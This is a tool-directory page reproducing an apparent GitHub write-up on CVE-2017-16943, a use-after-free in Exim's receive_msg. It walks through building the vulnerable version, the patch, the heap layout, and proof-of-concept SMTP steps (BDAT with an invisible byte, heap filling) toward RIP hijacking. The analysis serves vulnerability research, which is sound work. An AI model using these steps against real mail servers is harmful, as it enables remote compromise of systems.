Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-16943 — Technical analysis and proof-of-concept for CVE-2017-16943, a use-after-free in Exim's receive_msg function, demonstrating heap manipulation and RIP hijacking. | Kitploit
Tools/GitHubGitHub/beraphin/cve-2017-16943
Memory ForensicsVulnerability AnalysisExploitationDebuggersLearning & EducationBinary Exploitation
GitHubberaphin/cve-2017-16943

CVE-2017-16943

Technical analysis and proof-of-concept for CVE-2017-16943, a use-after-free in Exim's receive_msg function, demonstrating heap manipulation and RIP hijacking.

View Repository
236 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-16943

Environment Setup

git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

Modify the path variables and username in the Makefile

cd ..
make -j8
sudo make install

After installation, change accept hosts = : in the configure file to accept hosts = * Run:

exim -bdf -d-receive

Vulnerability Analysis

This vulnerability is a UAF. It occurs in the receive_msg function in receive.c, which is used to receive input from the client. View the patch record:

 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

First, clarify the roles of several global variables:

current_block: The current storeblock. When store_get_3 is called next time, it first looks for free space in this storeblock.
next_yield: Points to the start address of the free area in current_block. Generally, the upper part of a storeblock is used and the lower part is free.
yield_length: The length of next_yield.

By analyzing meh's PoC, it is known that the unpatched program can trigger UAF through the following heap layout process: First, in the receive_msg function, make next->text the starting buffer of a storeblock: 1

Then, allocate a buffer below this text using the BDAT command. Why use the BDAT command? In fact, both auth plain and illegal commands composed of invisible characters can allocate a buffer below text. However, other commands will cause receive_msg to exit. Upon re-entering receive_msg, next->text will point to another area, so the vulnerability cannot be triggered. The BDAT command does not cause the current receive_msg function to exit, which is very important. 2

Then, continuously send characters to fill next_text (initially 0x100), and the program will reach the vulnerability point. During store_extend, it is found that extension is impossible due to the presence of the BDAT buffer, so store_get is executed to obtain the area pointed to by next_yield, and then store_release is called. In this function, it only checks whether the parameter to be released is at the start of a storeblock, but does not check whether there are other buffers behind it. It directly frees the storeblock. This causes the address returned by store_get to still be inside current_block, but then current_block is immediately freed, resulting in UAF.

RIP Hijacking

Here, we explain step by step how to hijack RIP using the PoC code.

ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

First, send a bunch of data to make yield_length less than 0x130 but greater than 0x30. Why is this necessary? Let's look at the beginning of the receive_msg function:

...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

It can be seen that before allocating next->text, two buffers of size sizeof(header_line) (0x18) are allocated. So, if after allocating these two 0x18-sized blocks, the remaining yield_length is less than 0x100, then when allocating next->text, store_get will allocate a new storeblock, and next->text will be at the start of that storeblock.

Then we invoke the BDAT command.

r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

This command contains an invisible character, which triggers store_get to allocate a buffer to store an error message:

pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(Illegal commands containing invisible characters also result in additional heap allocation.)

Now, continuously send characters:

unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

This will fill next->text byte by byte with the received characters. When the 0x100 free area is full, the vulnerable code path is triggered to expand next->text. First, store_extend(next->text, oldsize, header_size) is called to try a direct extension:

File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

The main checks are at lines 276–277. The first condition checks whether the pointer to be extended (ptr) is immediately followed by next_yield. The second condition checks whether adding next_yield size (i.e., yield_length) is sufficient. Obviously, the first condition is not met because next->text is followed by a BDAT buffer, and only after that is next_yield.

Download Tool